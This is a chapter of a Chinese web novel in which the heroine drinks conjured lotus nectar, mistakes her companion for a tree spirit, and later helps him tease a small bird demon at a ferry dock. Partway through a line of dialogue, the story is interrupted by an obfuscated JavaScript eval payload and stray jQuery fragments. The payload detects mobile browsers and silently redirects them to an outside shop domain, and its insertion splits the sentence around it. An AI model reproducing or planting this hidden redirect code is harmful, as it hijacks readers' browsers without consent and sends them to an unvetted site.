文趣网 > 都市小说 > 抡大锤的我与春神死同穴 > 33. 幽冥来的树精?
    只见凌渊随手向身旁的花树一拂,那些开得灿烂舒展的红花如获号令,千百朵整齐地将花瓣一拢,竟然好似逆着生长之势,重新回到了含苞欲放之态。

    仔细看来,很像一只只小巧的杯盏。

    果不其然,凌渊摘了一只下来,递到她面前:“快喝下去!”

    山南地脉中的硫矿中因为混有砒质,所以她来到这里的第一天就被人告诫——千万不要随意采摘城里城外的花木,尤其是开得越艳丽的花,就容易带着砒毒。

    眼前这满树鲜艳似火的花,林梵儿不信任地眨了眨眼睛——这真的能喝吗?

    凌渊见她迟疑,不免又气又急,径直把那朵花盏凑到唇边,一饮而尽。然后又摘了一朵,塞进她手里:“不想噎死就别瞻前顾后!”

    林梵儿不再犹豫,把花中溢出的汁水倒进了嘴里。

    这朵花盏看着不大,一掌正好握住,里面却仿佛生有泉眼一样,她接连喝了几大口,冲开了堵塞的气道,这才喘过一口气来。

    嘴里留下了一股芬芳浓郁的花香,比她吃过的任何一种花蜜都要沁人心脾。

    看着她并不讨厌这花香,凌渊不无自得地笑道:“好喝吧?我特意施法让这花结出了钵头摩花蜜。”

    “钵头摩……梵语中的红莲吗?”林梵儿立刻道,然后才意识到自己从没有听说过这个名字,却能脱口而出,熟悉得仿佛刻在骨子里一样。

    凌渊也是一愣,随即微笑:“没错,就是红莲的意思。”

    不知为什么,林梵儿骤然打了个寒战,心中升起一个匪夷所思的念头——我好像在喝自己的血肉。

    或许是她的表情突然凝重,凌渊问:“怎么了?”

    林梵儿把刚才那个念头赶出脑海,摇了摇头:“没什么。对了,你刚才说是你施法令这树开出了花?”

    经历了令葡萄藤枯木回春之事,凌渊倒也不再藏着掖着:“是我的本源之力。初见那一夜我说消耗过度,现在已经恢复了大半了。”

    林梵儿用舌尖咂摸了两遍“本源之力”四个字,又联想到他屡次施法,操纵的都是木植,不由生出了一个联想:“莫非,你是个树精?”

    凌渊刚摘了一只花蜜盏下来,凑到唇边轻轻啜饮,还没来得及细品那幽幽的莲香,闻言,立刻被结结实实呛了一口。

    “咳咳咳!”他剧烈地咳嗽起来。

    心疾患者最忌胸口猛烈震动,林梵儿照顾病人经验丰富,下意识来到他面前,帮他轻轻拍背止咳。

    他反应如此激烈,她难免好奇:“难道我说对了?”

    凌渊咳得气息不稳,压根无暇应答,却在心里苦笑——说是说对了,却不完全对。

    他的本体的确是树——上古有大椿,以八千岁为春,八千岁为秋。庄周笔下的这株春秋漫漫的大椿,就是他的起源。

    但他不是妖,而是伴青帝而生的,开天辟地以来第一株椿树,修炼了不知凡己的岁月而开灵智、化人形,受封成神,从此傲视三界。

    所以,严格来说,他是树神,而非普通精怪。

    只不过——树神,听起来就很普通,很容易让人联想到一个身穿绿袍、满面菜色,行止刻板、木木愣愣,无趣的神。

    凌渊心中一凛——不行,他绝不能承认!

    林梵儿却是个先入为主的性子,正如之前她靠只言片语便臆想他是逃离幽冥的老鬼一样,现在她认定了他是树精,那无论他说什么做什么,他都是树精!

    虽然她以前从没有见过妖精异怪,可是山南这一遭,她不但接连遇魔,今天又亲眼所见阿音这只小鸟妖,就如同撞入了新世界的大门,再见到什么都不会太惊奇了。

    啊对了,凌渊还有不同,逃离幽冥四个字永远不能从他头上去除掉。

    林梵儿见他气息稍稍平缓,这才放手道:“难怪你执意要逃出来呢,听说那里只有奔腾不息的三千丈黄泉,身处其间无天无地、无日无月,你一株需要阳光照耀、雨露滋润的大树,想必过得十分辛苦……”

    话音未落,凌渊又被呛了一口,再度咳了起来。

    林梵儿垂下的手急忙再度上阵,嗔道:“哎呀,你怎么还喝这个!这花既然是用你的本源之力催生的,不就像是再喝自己的血肉吗?!”

    凌渊:“……咳咳咳!”

    此处真是不宜再留了!不然,怕是他真要被她这“语出惊人”活活气得心疾复发了!

    他也不要她拍了,自己运起本源之力,强行平稳了气息,大袖一甩,利落起身:“时候不早,你不是说要去赶船?走吧!”

    他们离开石亭,那满树的红花登时凋落了干净,繁茂的枝冠也都收敛了枝叶,再看过去时,树就是普通的树,石亭也依旧沉静空旷,好像从来都没有人到访。

    渡口处熙熙攘攘,这艘北上的大船一旬才往返一次,林梵儿买了三张船票,翘首等着阿音。

    直到旅客陆续登船,时辰将至,船就要开了。

    船工已经准备收起舷梯,转头却看到林凌二人还等在码头,不由出声催促:“二位客官,请尽快登船吧,还有一盏茶功夫就要开船了。”

    林梵儿担心凌渊不耐烦,转头见他却气定神闲,饶有兴趣地望着河中星星点点开着的几朵出水之莲,似乎一腔心思都在花上。

    她诚恳道:“你居然愿意等阿音,多谢!”

    凌渊收回目光:“我不是等她,只是陪你而已。”

    这句话有些暧昧了,林梵儿耳根一红:“不管怎样,多谢!”

    没想到这位贵公子好话只会说一句,紧接着就要煞风景:“那只小妖虽然不够伶俐,多少也能派上些用处。现在我和你在这里等她,保她以人身上船,后面使唤起来才不会惹人注目。”

    林梵儿没想到他是存了这个心思:“你!”

    凌渊见她气急,正色道:“林大小姐和她有什么约定我不想过问,但她既然在我面前过了明路,那便要守好本分,不要惹出什么麻烦。”

    林梵儿愕然,一时间以为他有什么“千里眼”的本事,已经将黑市发生的那场闹剧洞悉于心了。

    所以她的话头急转,寻了别的由头岔了过去:“刚才你是不是没有吃好?我看他们运了许多新鲜食材上去,一会儿给你点好吃的如何?”

    凌渊乐得成全:“好

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17869248|211465||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    啊,那我要吃鲥鱼。”

    林梵儿:“……”

    是说给你点好吃的,可没说让你点最贵的呀!

    她欲哭无泪,捏着钱袋的手颤了两颤。

    忽地,一只小鸟如同破空的流矢一般冲了过来,虽然在她面前猛地勒住了身形,双翅骤然一顿,可还是控制不住地一头撞向她的肩膀。

    凌渊眼疾手快,伸手一抄,赶在林梵儿被撞伤之前握住了小妙音鸟。

    “叽!”

    他的手坚实如玉,虽然有意泄去了她向前的冲力,可阿音还是被撞了个头晕眼花。

    凌渊平摊开手掌,阿音眼冒金星地躺在上面,被凑到一双似笑非笑的眼前。

    “叽叽!”

    天啊,他好可怕!是因为我险些撞上林姐姐,他才这样瞪着我吗?

    阿音心中叫苦,干脆两只黑豆眼一闭,双腿一瞪,佯装晕了过去。

    这一招她还是和柳殷殷那个一贯装柔弱的白莲花学的,好多次她对柳殷殷发难,没有旁人时她隐忍不发,可若是有人在场,尤其是颜悦哥哥在时,柳殷殷多半会楚楚可怜地挤出一层泪花,紧接着就要晕一晕的。

    哼!虽然她很看不惯柳殷殷这副只会卖惨装委屈的样子,可是眼下这情形,保命要紧,她非得“先发制人”不可。

    果然,林梵儿看到小鸟妖这副样子,心急如焚,连忙从凌渊手中把她抢了过来,先是嗔了他一句:“看你,没轻没重的,不会把她给捏死了吧?”

    然后她将手指小心地贴在了阿音的左胸,拧眉感受片刻:“哎呀!没有心跳了!”

    阿音紧紧闭着眼睛,心中偷乐:鸟儿的心脏在胸口龙骨偏右,她向左边摸,自然是感受不到了。

    其实,林梵儿虽然没有给鸟族诊疗的经验,但她博闻强识,阿音此刻是生是死还能判断得出来。她故意这样说,不过是想稍稍教育一下这只轻易拿生死开玩笑的小妖罢了。

    任何生灵——无论是人是妖,都不应该拿自己的生死肆意玩笑。

    林梵儿于是抬头看了凌渊一眼,只一个眼神,后者便了然了她的用意,故意挑高了声线:“既然已经身亡,干脆就地葬了吧。这里有山有水,风景秀丽,倒也算是一处不错的埋骨之地。”

    林梵儿带着阻拦的语气道:“不行!我看她还能救一救。来,你帮我取一根金针出来。”

    凌渊陪她做戏做全套,从她的乾坤囊中拿出针筒,问:“取哪根针?”

    林梵儿肃然道:“最长最粗的那根。”

    凌渊欢快响亮地应了一声,金针稳稳地递到了她的手中。

    把这番对话清楚地听进耳中的阿音吃了一惊,悄悄掀起了一丝眼皮,不出意外看到了那根几乎和她这原身等长、粗如麦芒、金辉凛凛的长针,尤其是这根针已经向着她的胸口扎了过来——

    “停!停!停!我好了!”她顾不上自己还没适应那晕眩的余韵,一个打挺,从林梵儿掌心蹦了起来。

    抬眼就看到林凌二人相视一笑,眸底满是捉弄了人的狡黠。

    好啊,居然被他们联手骗得团团转。

    阿音撇起嘴,怒了。